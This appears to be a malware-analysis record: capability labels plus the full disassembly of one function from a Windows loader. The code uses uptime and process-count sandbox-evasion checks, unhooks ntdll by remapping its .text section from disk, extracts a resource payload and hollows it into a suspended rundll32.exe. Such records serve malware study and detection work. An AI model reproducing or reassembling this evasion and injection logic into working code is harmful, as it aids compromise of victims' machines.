Function at 0x401430
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate processes
Execute shellcode via indirect call
Extract resource via kernel32 functions
Read file via mapping
Resume thread
Terminate process
Terminate process by name
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40294d
mov eax, dword fs:[0]
push eax
sub esp, 0x5a8
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x927c0
ja 0x401480
push 0x403200
call fcn.00401010
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4014ec
push 0x228
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x2b8], 0x22c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2b8]
xor esi, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4014e4
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
lea eax, [ebp - 0x2b8]
inc esi
push eax
push edi
call ebx
test eax, eax
jne 0x4014d0
cmp esi, 0x3c
jg 0x4014ec
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
xorps xmm0, xmm0
mov dword [ebp - 0x598], 0
push str.ntdll.dll
movq qword [ebp - 0x5a0], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xc
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x5b4], eax
push ecx
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov esi, dword [ebp - 0x5a0]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.c:windows_system32_ntdll.dll
mov dword [ebp - 0x5a4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x5ac], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x5b0], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, dword [esi + 0x3c]
xor edi, edi
add ebx, esi
mov dword [ebp - 0x5a8], eax
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x401639
movzx eax, di
lea ecx, [eax + eax*4]
movzx eax, word [ebx + 0x14]
add eax, ebx
lea esi, [eax + ecx*8]
mov eax, str..text
lea ecx, [esi + 0x18]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4015d0
test dl, dl
je 0x4015cc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4015d0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4015b0
xor eax, eax
jmp 0x4015d5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40162e
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi + 0x24]
add eax, dword [ebp - 0x5a4]
push 0x40
push dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [esi + 0x20]
mov eax, dword [ebp - 0x5a8]
add eax, dword [esi + 0x24]
push eax
mov eax, dword [ebp - 0x5a4]
add eax, dword [esi + 0x24]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
mov eax, dword [esi + 0x24]
push dword [esi + 0x20]
add eax, dword [ebp - 0x5a4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp di, word [ebx + 6]
jb 0x401592
push dword [ebp - 0x5ac]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x5b0]
call ebx
push dword [ebp - 0x5b4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x40327c
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push ebx
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
call fcn.00401920
lea edx, [ebp - 0x48]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004011b0
push 4
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x30]
push ebx
cmovae ecx, dword [ebp - 0x30]
mov edi, eax
push ecx
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x594]
mov dword [ebp - 0x8c], 0x44
xorps xmm0, xmm0
movlpd qword [ebp - 0x88], xmm0
push eax
lea eax, [ebp - 0x8c]
movlpd qword [ebp - 0x80], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push str.rundll32.exe
push 0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4017d7
lea eax, [ebp - 0x584]
mov dword [ebp - 0x584], 0x10003
push eax
push dword [ebp - 0x590]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push ebx
push 0
push dword [ebp - 0x594]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push ebx
push edi
push esi
push dword [ebp - 0x594]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x584]
mov dword [ebp - 0x4cc], esi
push eax
push dword [ebp - 0x590]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x590]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x590]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x594]
call esi
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x401807
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4017fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40183f
push edx
push ecx
call fcn.00401bd8
add esp, 8
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp edx, 0x10
jb 0x40184f
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401845
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401845
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00401bd8
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b9a
mov esp, ebp
pop ebp
ret